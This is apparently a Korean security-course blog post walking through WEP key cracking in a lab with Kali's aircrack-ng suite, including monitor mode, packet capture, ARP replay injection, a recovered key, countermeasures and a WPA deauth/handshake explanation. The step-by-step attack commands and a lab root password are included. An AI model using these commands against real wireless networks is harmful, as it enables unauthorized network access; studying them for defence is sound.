WEP 패스워드 크래킹
-> 많은 패킷을 잡아서 그것을 분석하는 방법을 이용
VM 안에 있는 KaliLinux에서 "USB 무선랜카드"를 사용해야 하는 이유
노트북(유선/무선 랜카드) ---> VMware(유선 랜카드) ---> VM(유선 랜카드(리눅스))
노트북(USB 무선 랜카드 ) ---> VMware(USB 무선랜카드) ---> VM(무선 랜카드(리눅스))
/* 하나의 VM에서만 사용할 수 있다. 공통으로 read/write하면 문제가 생기므로 vmware가 lock이 걸어버린다. 칼리리눅스에서 사용하면 윈도우에서 사용하지 못한다. 그래서 윈도우에 드라이버를 설치하지 않는다. 칼리리눅스는 범용드라이버가 미리 들어있어서 인식이 된다. 결론은 자원은 한 군데에서만 사용한다.
① USB 방식의 무선랜(EX: ZIO2600DU) 카드를 윈도우7 PC에 물리적으로 장착
USB 방식의 무선랜 카드를 윈도우7 PC에 물리적으로 장착
VMware > VM > Removable Device > 적당한 무선랜카드 선택 > connect
# lsusb /* usb목록 보기
Bus 001 Device 002: ID 148f:5572 Ralink Technology, Corp. /* Ralink 제품 Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub |
② 무선 랜카드가 모니터(Monitor) 모드를 지원하는지 확인
-WEP 키 크래킹을 위해서는 WEP 데이터 속에 존재하는 IV(Initialization Vector)를 많이 확보해야 한다.
-그렇게 하기 위해서는 무선 랜카드의 상태를 관리(Managed Mode)모드에서 모니터(Monitor) 모드로 전환해야 한다.
-따라서 사용하는 무선 랜카드가 모니터 모드를 지원하는지 반드시 확인해야 한다.
-무선 랜카드가 모니터 모드를 지원하고 있는지 확인하기 위해서는 무선 랜카드 매뉴얼을 확인한다.
현재 실습에서 사용되는 ZIO2600DU USB무선랜카드는 Monitor Mode를 지원한다.
------------------------------------------------------------
유선 LAN Card 무선 LAN Card
------------------------------------------------------------
(promiscuous mode : on) 모니터 모드(Managed Mode -> Monitor Mode)
# ifconfig eth0 promisc # airmon-ng start wlan0
(promiscuous mode : off) 관리 모드(Monitor Mode -> Managed Mode)
# ifconfig eth0 -promisc # airmon-ng stop mon0
------------------------------------------------------------
모든 카드는 기본적으로 관리용 모드(=promisc off)로 되어있다. 목적지 주소가 자기것으로 되었을때만 받아들이고 나머지는 버린다. 패킷을 캡쳐할때는 모든 패킷을 받아들여야하는데 promisc on이면 모든 패킷을 다 받고 -promisc (=promisc off)이면 목적지 주소가 자기것으로 된것만 받아들인다.
ifconfig/iwconfig로 카드 이름을 확인할 수 있다.
[참고] 무선 랜카드의 모드
-매니지드 모드(Managed Mode) : 무선 클라이언트가 무선 AP(WAP(Wireless Access Point))에 직접 연결할 때 사용한다. 무선 NIC와 연관된 드라이버는 전체 통신 프로세스를 관리하는 WAP에 의지한다. (=관리용모드, 일반적인 통신에서 사용하는 방식)
-애드 혹 모드(Ad Hoc Mode) : 장치들이 직접 서로 연결되는 무선 네트워크 설정에서 사용한다. 보통 WAP을 담당하는 책임을 서로 통신하고자 하는 두개의 무선 클라이언트들이 공유한다. (무선AP와 무선AP를 붙힐 수 있는 모드, 모니터링 용도로 상요한다.)
-마스터 모드(Master Mode) : 일부 고급 무선 NIC는 마스터 모드를 지원한다. 컴퓨터가 다른 장치들을 위해 WAP 처럼 동작하게 틀별한 드라이버 소프트웨어와 결합해 무선 NIC가 동작한다.
-모니터 모드(Monitor Mode) : 무선 클라이언트가 데이터 송신과 수신을 중단하고 공중을 통해 전송되는 패킷을 감청하기만 할 때 사용한다. 무선 패킷을 갭쳐하기 위해서는 무선 NIC가 모니터 모드를 지원해야 한다.
③ 무선 랜카드를 확인
-ifconfig - configure a network interface
-iwconfig - configure a wireless network interface
-airmon-ng - bash script designed to turn wireless cards into monitor mode.
-airodump-ng - a wireless packet capture tool for aircrack-ng (dump뜨는 것)
-aircrack-ng - a 802.11 WEP / WPA-PSK key cracker (비밀번호 크랙하는 툴)
# ifconfig
-> 설정 확인(무선 LAN Card 정보가 보이는가?) => wlan0
..... (중략) ..... wlan0 Link encap:Ethernet HWaddr 3c:a3:15:02:6a:de UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) |
-> 설정 확인(무선 LAN Card 정보가 보이는가?)
-> 만약 안보인다면 아래를 참고한다.
[참고] 무선랜카드가 보이지 않는 경우
무선 랜카드를 KaliLinux에 connect 한다.
VMware > VM > Removable Devices > Ralink 802.11 n WLAN Adapter > Connect
# iwconfig
wlan0 IEEE 802.11abgn ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off
lo no wireless extensions. eth0 no wireless extensions. eth1 no wireless extensions. |
④ 무선랜카드를 모니터 모드(관리모드 -> 모니터모드)로 전환
-airmon-ng - bash script designed to turn wireless cards into monitor mode.
-usage: airmon-ng <start|stop|check> <interface> [channel or frequency]
EX) # airmon-ng stop mon0
EX) # airmon-ng start mon0 12
# airmon-ng
Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy0] |
-> Interface 이름 : wlan0, ath0(atheros 칩셋), ra0 등
-> Chipset 이름 : Ralink RT2870/3070
-> 드라이버 이름 : rt2800usb
# lsmod | grep rt /* list module
vmw_vsock_vmci_transport 29399 3 vsock 26203 4 vmw_vsock_vmci_transport rt2800usb 21854 0 rt2x00usb 17426 1 rt2800usb rt2800lib 76819 1 rt2800usb rt2x00lib 41338 3 rt2x00usb,rt2800lib,rt2800usb mac80211 446741 3 rt2x00lib,rt2x00usb,rt2800lib cfg80211 357998 2 mac80211,rt2x00lib crc_ccitt 12331 1 rt2800lib vmw_vmci 54642 1 vmw_vsock_vmci_transport gameport 13306 1 snd_ens1371 parport_pc 25991 0 parport 35171 1 parport_pc scsi_transport_spi 23201 1 mptspi usbcore 171083 6 uhci_hcd,rt2x00usb,rt2800usb,ehci_hcd,ehci_pci,usbhid scsi_mod 172550 8 sg,scsi_transport_spi,libata,mptspi,vmw_pvscsi,sd_mod,sr_mod,mptscsih |
-> 무선랜 드라이버가 메모리 로딩 되었는지 확인
-> 무선랜 드라이버가 메모리에 로딩 되어 있지 않다면
(ㄱ) 무선랜 드라이버를 설치하고
(ㄴ) modprobe CMD or insmod CMD 명령어를 사용하여 메모리에 로딩해야 한다.
# airmon-ng --help
usage: airmon-ng <start|stop|check> <interface> [channel or frequency] |
# airmon-ng start wlan0
Found 2 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! -e PID Name 3389 NetworkManager /* 충동할 수 있으니 잠신만 프로그램을 꺼달라는 의미 3623 wpa_supplicant Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy0] (monitor mode enabled on mon0) |
-> 내부적으로 wlan0 인터페이스를 비활성화 하고 mon0(monitor mode) 가상 인터페이스를 생성하고
mon0 인터페이스를 활성화 한다.
# airmon-ng
Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy0] mon0 Ralink RT2870/3070 rt2800usb - [phy0] |
④ 불필요한 프로세스 종료
# airmon-ng check kill (# kill 3389 3623)
Found 2 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! -e PID Name 3389 NetworkManager 3623 wpa_supplicant Killing all those processes... |
-> 만약 직접 종료하는 경우라면 kill 명령어를 사용한다.
# kill 3389 3623
-> (주의) kill 시키고 나면 나중에 실습이 끝난 이후에
# service network-manager restart
# service networking restart
해야 한다.
⑤ 공격할 무선 AP을 검색
-airodump-ng - a wireless packet capture tool for aircrack-ng
-usage: airodump-ng <options> <interface>[,<interface>,...]
EX) # airodump-ng mon0
EX) # airodump-ng -c 12 --bssid 64:E5:99:43:65:32 -w securityhacker mon0
# airodump-ng mon0 /* 와이어샤크처럼 패킷을 잡을때 사용, 반드시 모니터모드로 전환해서 사용
CH 5 ][ Elapsed: 40 s ][ 2014-12-02 15:59
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
64:E5:99:43:65:32 -40 123 0 0 3 54e WEP WEP securityhacker3 64:E5:99:43:65:31 -41 118 0 0 3 54e WPA TKIP PSK securityhacker2 64:E5:99:43:65:30 -40 110 2 0 3 54e WPA2 CCMP PSK securityhacker 64:E5:99:43:65:33 -40 124 2 0 3 54e OPN securityhacker4 00:08:5B:7B:22:00 -57 101 0 0 3 54e. WPA TKIP PSK <length: 0> 00:08:5B:7B:22:01 -59 101 3 0 3 54e. WPA2 TKIP PSK uri401 64:E5:99:42:60:A4 -59 65 3 0 5 54e WPA2 CCMP PSK soldesk11 64:E5:99:58:B1:B0 -65 38 0 0 5 54e WEP WEP Android 00:08:5B:7B:22:F1 -66 29 12 0 4 54e. WPA2 TKIP PSK uri402-2 00:08:5B:7B:22:F0 -67 36 0 0 4 54e. WPA TKIP PSK <length: 0> 00:08:5B:7B:25:B1 -67 49 0 0 9 54e. WPA2 TKIP PSK uri402-1 00:08:5B:7B:25:B0 -69 57 0 0 9 54e. WPA TKIP PSK <length: 0> 00:08:9F:45:32:84 -70 12 0 0 9 54e WPA2 TKIP PSK UgaKing111150 00:08:9F:A7:E7:D8 -71 21 0 0 11 54e WPA2 CCMP PSK test 64:E5:99:3F:0D:6C -71 7 2 0 9 54e WPA2 CCMP PSK WSEKOREA2
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 88:53:2E:BE:58:F2 -67 0 - 1 0 2 (not associated) D0:95:C7:3F:D7:6F -41 0 - 1 0 10 (not associated) B4:62:93:58:96:D7 -53 0 - 1 0 6 (not associated) 04:1B:BA:1E:C4:81 -63 0 - 1 0 1 (not associated) E0:CA:94:E4:89:B0 -69 0 - 1 101 16 (not associated) 18:83:31:A5:89:7F -69 0 - 1 0 8 (not associated) D0:22:BE:FB:95:7F -71 0 - 1 0 1 <CTRL + C> |
-> 약간 시간이 걸린 후(약 1분 ~ 2분)에 종료한다.
-> 타겟이 되는 무선 공유기(무선 AP) ESSID(MAC 주소)와 채널 번호를 확인한다.
상단 - 무선
하단 - 스테이션, PC에 대한 정보
------------------------------------------------------
항목 설명
------------------------------------------------------
BSSID AP MAC 주소(EX: 64:E5:99:43:65:30), BSSID(Basic service set identifier) /* ESSID와 맵핑된 정보, 통신할 때 사용하는 MAC주소를 지정해서 사용, ESSID와 똑같은 의미다.
PWD 수신율
Beacon Beacon Frame Message 카운트 수
CH 채널 번호
ENC 암호화 알고리즘(Encryption algorithm) (EX: OPN, WEP, WPA/WPA2)
CIPHER 암호문 형식(Cipher detedted) (EX: CCMP, WRAP, TKIP, WEP, WEP40, WEP104)
AUTH 인증 프로토콜(Authentication protocol)
- MGT(WPA/WPA2 using a separate authentication server)
- SKA(shared key for WEP)
- PSK(pre-shared key for WPA/WPA2)
- OPN (open for WEP)
ESSID AP의 SSID
------------------------------------------------------
[참고] airodump-ng 명령어 |
# man airodump-ng NAME airodump-ng - a wireless packet capture tool for aircrack-ng SYNOPSIS airodump-ng [options] <interface name> DESCRIPTION airodump-ng is used for packet capturing of raw 802.11 frames for the intent of using them with aircrack-ng. If you have a GPS receiver connected to the computer, airodump-ng is capable of log‐ ging the coordinates of the found access points. Additionally, airo‐ dump-ng writes out a text file containing the details of all access points and clients seen. BSSID MAC address of the access point. In the Client section, a BSSID of "(not associated)" means that the client is not associated with any AP. In this unassociated state, it is searching for an AP to connect with. PWR Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If the BSSID PWR is -1, then the driver doesn't support signal level reporting. If the PWR is -1 for a limited number of stations then this is for a packet which came from the AP to the client but the client transmis‐ sions are out of range for your card. Meaning you are hearing only 1/2 of the communication. If all clients have PWR as -1 then the driver doesn't support signal level reporting. RXQ Only shown when on a fixed channel. Receive Quality as mea‐ sured by the percentage of packets (management and data frames) successfully received over the last 10 seconds. It's measured over all management and data frames. That's the clue, this allows you to read more things out of this value. Lets say you got 100 percent RXQ and all 10 (or whatever the rate) beacons per second coming in. Now all of a sudden the RXQ drops below 90, but you still capture all sent beacons. Thus you know that the AP is sending frames to a client but you can't hear the client nor the AP sending to the client (need to get closer). Another thing would be, that you got a 11MB card to monitor and capture frames (say a prism2.5) and you have a very good position to the AP. The AP is set to 54MBit and then again the RXQ drops, so you know that there is at least one 54MBit client connected to the AP. Beacons Number of beacons sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far. #Data Number of captured data packets (if WEP, unique IV count), including data broadcast packets. #/s Number of data packets per second measure over the last 10 seconds. CH Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even if airodump-ng is not hopping, because of radio interference. MB Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. 'e' indicates that the network has QoS (802.11e) enabled. ENC Encryption algorithm in use. OPN = no encryption,"WEP?" = WEP or higher (not enough data to choose between WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP or CCMP or MGT is present. CIPHER The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater then 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit. AUTH The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP). ESSID The so-called "SSID", which can be empty if SSID hiding is activated. In this case, airodump-ng will try to recover the SSID from probe responses and association requests. STATION MAC address of each associated station or stations searching for an AP to connect with. Clients not currently associated with an AP have a BSSID of "(not associated)". Rate This is only displayed when using a single channel. The first number is the last data rate from the AP (BSSID) to the Client (STATION). The second number is the last data rate from Client (STATION) to the AP (BSSID). Lost It means lost packets coming from the client. To determine the number of packets lost, there is a sequence field on every non-control frame, so you can subtract the second last sequence number from the last sequence number and you know how many packets you have lost. Packets The number of data packets sent by the client. Probes The ESSIDs probed by the client. These are the networks the client is trying to connect to if it is not currently con‐ nected. |
⑥ 공격 대상 AP로 채널을 고정 시킨 후 airodump-ng를 이용하여 공격 대상 AP와 STATION 사이에 주고 받는 패킷을 캡쳐
-airodump-ng - a wireless packet capture tool for aircrack-ng
-aircrack-ng - a 802.11 WEP / WPA-PSK key cracker
핸드폰으로 securityhacker3(aaaaa) AP에 연결한다.
핸드폰에서는 유투브 동영상을 보고 있도록 한다.
# airodump-ng -c 3 --bssid 64:E5:99:43:65:32 mon0 /*채널3번에 bssid를 설정하여 패킷을 잡겠다.
CH 3 ][ Elapsed: 19 mins ][ 2014-09-05 15:02
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 64:E5:99:43:65:32 -47 77 562 16236 288 3 54 WEP WEP securityhack3 BSSID STATION PWR Rate Lost Frames Probe
64:E5:99:43:65:32 C0:65:99:EB:33:39 0 48e- 6 64 304 securityhacker3 <CTRL + C> |
-> 밑에 station의 끝에 부분정도는 외워두자
# mkdir -p /test && cd /test && rm -rf /test/* <!--[endif]-->
# airodump-ng -c 3 --bssid 64:E5:99:43:65:32 -w securityhacker mon0 /* securityhacker로 write작업을 한다.
CH 3 ][ Elapsed: 2 mins ][ 2014-09-05 15:08
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
64:E5:99:43:65:32 0 20 1220 94 0 3 54e WEP WEP securityhacker3
BSSID STATION PWR Rate Lost Frames Probe
64:E5:99:43:65:32 C0:65:99:EB:33:39 0 48e- 6 0 88 <CTRL + C> |
-> 약 1분정도하고 멈춘다.
-> Data와 Beacons이 중요하다.
# man airodump-ng
-c <channel>[,<channel>[,...]], --channel <channel>[,<chan‐
nel>[,...]]
Indicate the channel(s) to listen to. By default airodump-ng
hop on all 2.4GHz channels.
-d <bssid>, --bssid <bssid>
It will only show networks, matching the given bssid.
-w <prefix>, --write <prefix>
Is the dump file prefix to use. If this option is not given,
it will only show data on the screen. Beside this file a CSV
file with the same filename as the capture will be created..
⑦ WEP 키 크래킹
aircrack-ng - a 802.11 WEP / WPA-PSK key cracker
# ls -l
-rw-r--r-- 1 root root 155 12월 2 16:02 securityhacker-01.cap -rw-r--r-- 1 root root 387 12월 2 16:03 securityhacker-01.csv -rw-r--r-- 1 root root 583 12월 2 16:03 securityhacker-01.kismet.csv -rw-r--r-- 1 root root 1.6K 12월 2 16:03 securityhacker-01.kismet.netxml |
# file *
securityhacker-01.cap: tcpdump capture file (little-endian) - version 2.4 (802.11, capture length 65535) securityhacker-01.csv: ASCII text, with CRLF line terminators securityhacker-01.kismet.csv: ASCII text, with very long lines, with CRLF, LF line terminators securityhacker-01.kismet.netxml: XML document text |
-> securityhacker-01.cap 파일은 wireshark를 통해 볼수도 있다. /* cap은 pcap파일이다.
# cd /test
# wireshark &
-> securityhacker-01.cap 파일을 open 한다.
# aircrack-ng -z securityhacker-01.cap
Aircrack-ng 1.2 beta3 [00:00:04] Tested 173377 keys (got 94 IVs) KB depth byte(vote) 0 11/ 18 DA( 512) 05( 256) 09( 256) 11( 256) 14( 256) 1 11/ 12 DE( 512) 16( 256) 1A( 256) 1D( 256) 26( 256) 2 7/ 8 FB( 512) 03( 256) 06( 256) 07( 256) 0B( 256) 3 11/ 3 F9( 512) 03( 256) 04( 256) 06( 256) 07( 256) 4 2/ 4 DA( 768) 02( 512) 0D( 512) 56( 512) 58( 512) Failed. Next try with 5000 IVs. <CTRL + C> Quitting aircrack-ng.. |
-> IV값을 갖고 패스워드를 크랙하기 시작한다.
-> WEP 패스워드 크랙에 실패했다.
-> 실패한 이유는 너문 적은 IV 가지고 작업을 했기 때문이다.
# man aircrack-ng
-z Uses PTW (Andrei Pyshkin, Erik Tews and Ralf-Philipp Wein‐
mann) attack (default attack).
⑧ ARP 인젝션 공격(ARP Injection Attack)
-단시간내에 많은 IV 값을 수집하기 위해서 ARP Injection Attack 수행한다.
-WEP 64bit : 약 250,000개 이상의 IV 수집해야 하며, 20,000개 이상의 데이터가 수집이 필요
-WEP 128bit : 약 1,500,000개 이상의 IV 수집해야 하며, 50,000개 이상의 데이터가 수집이 필요
[TERM1] 모니터링 윈도우
# airodump-ng -c 3 --bssid 64:E5:99:43:65:32 -w securityhacker3 mon0
CH 3 ][ Elapsed: 1 min ][ 2014-09-05 15:40
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUT
64:E5:99:43:65:32 0 21 753 110 0 3 54e WEP WEP
BSSID STATION PWR Rate Lost Frames Probe
64:E5:99:43:65:32 C0:65:99:EB:33:39 0 48e- 6 0 123 |
-> 상당히 오랜시간(약 30분 ~ 2시간 사이정도)이 실행되어야 한다.
-> 더 오래 걸릴수도 있다.
[TERM2] 공격용 윈도우
-ARP 인젝션(Injection) 또는 페이크 인증(fake authentication) 사용할 수도 있고
-실제 모의 해킹이라면 패킷을 많이 생성하기 위한 방법으로 핸드폰에서 유부브 동영상을 보면 된다.
-아래는 ARP Injection을 channel 3에 존재하는 AP의 BSSID(securityhacker3)를 지정하여 공격하는 명령어이다.
# aireplay-ng -3 -b 64:E5:99:43:65:32 mon0
No source MAC (-h) specified. Using the device MAC (64:E5:99:F2:C5:9D) 15:40:07 Waiting for beacon frame (BSSID: 64:E5:99:43:65:32) on channel 3 Saving ARP requests in replay_arp-0905-154007.cap You should also start airodump-ng to capture replies. ad 7512 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps) Read 38676 packets (got 10 ARP requests and 0 ACKs), sent 73518 packets...(499 pps) Read 39106 packets (got 10 ARP requests and 0 ACKs), sent 74920 packets...(499 pps) ..... (생략) ..... <CTRL + C> |
-> 상당히 오랜 시간이 지난이후에 <CTRL + C>를 통해 종료
-> 상대에게 많은 패킷을 보내고 난후에 종료하면 된다.
# aireplay-ng
Filter options:
-b bssid : MAC address, Access Point 너무 많은 패킷이 잡히므로 특정하게 선택해서 잡아야 한다.
play options:
-h smac : set Source MAC address
Attack modes (numbers can still be used):
--deauth count : deauthenticate 1 or all stations (-0) WPA, WAP2 크랙할때 많이 사용, 인증을 다시하라고 할때 사용
--fakeauth delay : fake authentication with AP (-1) WEP 크랙할때 사용
--interactive : interactive frame selection (-2)
--arpreplay : standard ARP-request replay (-3) WEP 크랙할때 사용
--chopchop : decrypt/chopchop WEP packet (-4)
--fragment : generates valid keystream (-5)
--caffe-latte : query a client for new IVs (-6)
--cfrag : fragments against a client (-7)
--migmode : attacks WPA migration mode (-8)
--test : tests injection and quality (-9)
⑨ WEB 키 크래킹
-[TERM1] [TERM2] 창을 <CTRL + C>를 통해 툴을 종료하고 다시 aircrack-ng 툴을 통해 WEP 키 크래킹
[TERM2] 공격용 윈도우
# aircrack-ng -z securityhacker3-01.cap /* '-01' 부분에서 가장 큰번호를 써야한다.
Aircrack-ng 1.2 beta3 [00:00:00] Tested 14 keys (got 25282 IVs) KB depth byte(vote) 0 2/ 4 67(32000) 61(31488) C8(30976) F3(30976) BF(30720) 32(30464) C6(30208) 08(29952) 1 0/ 2 61(35072) 8F(33536) 37(32000) D9(31232) 7A(30976) 7E(30976) E5(30976) D7(30720) 2 0/ 1 61(35840) 60(31232) 20(30976) 09(30464) C4(30464) 57(30208) B9(29952) C6(29952) 3 0/ 2 61(36352) FC(34816) 8D(32256) B0(31232) E7(30976) 42(30720) 5E(30720) FF(30720) 4 0/ 1 61(35328) 15(32768) DC(32512) 85(31744) A9(31488) 7C(31232) 3B(30720) C3(30208) KEY FOUND! [ 61:61:61:61:61 ] (ASCII: aaaaa ) Decrypted correctly: 100% |
[참고] 원격에 미리 만들어 놓은 패킷 캡쳐 파일들 복사 및 사용하는 방법
# cd /test && mkdir packet && cd packet
# scp 172.16.9.252:/root/security/packet/* /root/packet
ID/PASS : root/centos
# aircrack-ng -z securityhacker3-01.cap
⑩ 작업이 끝났다면 무선랜카드를 관리 모드(모니터모드 -> 관리모드)로 전환
# airmon-ng
Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy0] mon0 Ralink RT2870/3070 rt2800usb - [phy0] |
# iwconfig
wlan0 IEEE 802.11abgn ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off
lo no wireless extensions. mon0 IEEE 802.11abgn Mode:Monitor Frequency:2.442 GHz Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:off
eth0 no wireless extensions. eth1 no wireless extensions. |
# airmon-ng stop mon0
Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy0] mon0 Ralink RT2870/3070 rt2800usb - [phy0] (removed) |
(절차정리) WEP 방식의 키 크래킹
USB 방식의 무선 랜카드 장착 (물리적으로 장착)
# airmon-ng start wlan0 (wlan0 -> mon0)
# airodump-ng mon0 (WEB 방식의 AP 검색) /* bssid 지정하기전에 먼저 검색해야 한다.
# airodump-ng -c 3 --bssid 64:E5:99:43:65:32 -w packet mon0 (WEB 방식의 패킷 캡쳐 & 저장)
# aircrack-ng -z packet-01.cap (WEB 방식의 키 크랙)
(보안 대책)
■ 사용자 제어 정책
-무선 랜 사용과 관련된 조직의 보안 정책 개발
-무선 랜 사용자에 대한 보안 교육
-건물과 무선 랜 장비 사용 장소에 대한 물리적인 접근 제어
-집단 내에 보유한 무선 랜 장비의 목록 작성/관리
-WEP 암호화 사용 금지
■ AP 제어 정책
-무선 랜카드와 AP의 보안 패치 적용
-AP 송신 파워 조절
-AP 설치시 외부와 인접한 장소(벽, 창문 등) 회피
-AP 설치시 외부에 신호가 노출되지 않게 주변 벽 재질을 RF 감쇠율이 높은 금속으로 사용
-미 사용 AP 전원 차단
-AP의 Beacon 패킷(SSID 브로드캐스트) 기능 차단
-AP의 SSID 설정시 부서명, 회사명, 제품명 등의 사용 금지
-MAC 필터링을 이용해서 인가된 사용자만 접근 허용ㅂ
■ IDPS 제어
-WIDPS 관리자, WIDPS 센서 설치 후 관제와 침입 차단
■ WPA 키 크래킹
WPA(Wi-Fi Protected Access)는 802.11 와이파이 사용자를 위해 개발된 보안 표준으로 WEP 암호화 방식에 비해 정교한 데이터 암호화를 제공하며, WEP의 불충분한 인증 과정을 개선해 좀 더 나은 인증 기능을 제공한다. 암호화 기법으로는 TKIP과 AES을 사용한다.
TKIP란 순서 규칙이 있는 48비트 초기화 벡터를 이용하며, 키 재사용과 재생 공격을 방지하고 패킷당 키 혼합 기능 패킷 위조 공격을 방어하는 암호화된 체크섬 기능을 제공한다.
AES란 128,192,256비트 등의 가변 키 크기를 갖는 수학적 알고리즘을 제공하며, 암호화된 데이터는 AES 알고리즘의 키 값 없이는 원래 데이터로 복호화가 거의 불가능하다. AES 암호화 방식은 기밀 유출 사고를 방지하기 위해 많이 사용되고 있다.
WPA 키 크래킹을 할 때는 WEP 키 방식과는 많은 차이점이 있다. 무선 통신상의 전송 내용을 암호화하는 키가 기존 WEP에서는 고정돼 있지만, WPA 인증방식에서는 암호 키를 특정 시간이나 일정 크기의 패킷 전송 후에 자동으로 변경하기 때문에 WEP 크래킹과 같은 방법으로는 크랙이 어렵다. 즉, 키 갯신이 매우 빠르기 때문에 데이터 수집이 무의미하다.
■ WPA 취약점에 대해서
STATION 무선AP
| Authentication Request |
| -----------------------> |
| |
| Challenge Text |
| <---------------------- |
| |
| Challenge Response |
| -----------------------> |
| |
| Authentication Response |
| <----------------------- |
| |
[그림] WPA 통신 방법
WPA 암호화 방식은 사용자 AP에 접속할 때 미리 설정한 키를 알아야만 인증하게 하는 방식으로 공유키(Shared Key) 인증 방식을 사용한다. 공유 키 인증 방식은 WPA 핸드세이킹(Hand shaking) 과정을 거치는데, 공유 키 인증 방식은 암호 알고리즘의 취약점을 공격하지 않고, 인증 패킷 스니핑만으로 키 값을 알아 낼 수 있는 취약점을 지니고 있다. 위와 같은 공유 키 인증 방식은 무선 결합 과정인 Passive와 Active 결합 과정에서 인증 과정인 Authentication 시점에서 사용된다.
STATION 무선AP
| Probe Request |
| -----------------------> |
| |
| Probe Response |
| <---------------------- |
| |
| Authentication Request |
| -----------------------> |
| |
| Authentication Response |
| <----------------------- |
| |
| Association Request |
| -----------------------> |
| |
| Association Response |
| <----------------------- |
| |
[그림] 무선 Active 결합 과정
무선 Active 결합 과정과 같이 한 번 인증을 거친 스테이션은 다음번 인증을 할 때 인증 과정을 거치지 않고, 무선 프로파일(profile)을 참조해, 스테이션 먼저 프로브(Probe) 요청을 보내 자동으로 접속하게 된다. 이러한 취약점을 이용해 공격자는 Deauthentication Packet을 이용해 DoS 공격을 수행한 후 클라이언트가 AP에 다시 재 결합할 때 발생하는 인증 패킷을 스니핑해 WPA 키 크래킹을 시도한다.
'Learning > └◆Wireless Hacking' 카테고리의 다른 글
WPA2 Key Cracking (0) | 2017.02.01 |
---|---|
WPA Key Cracking (0) | 2017.02.01 |
Wireless Hacking (0) | 2017.02.01 |
Wireless Hacking summary (0) | 2017.02.01 |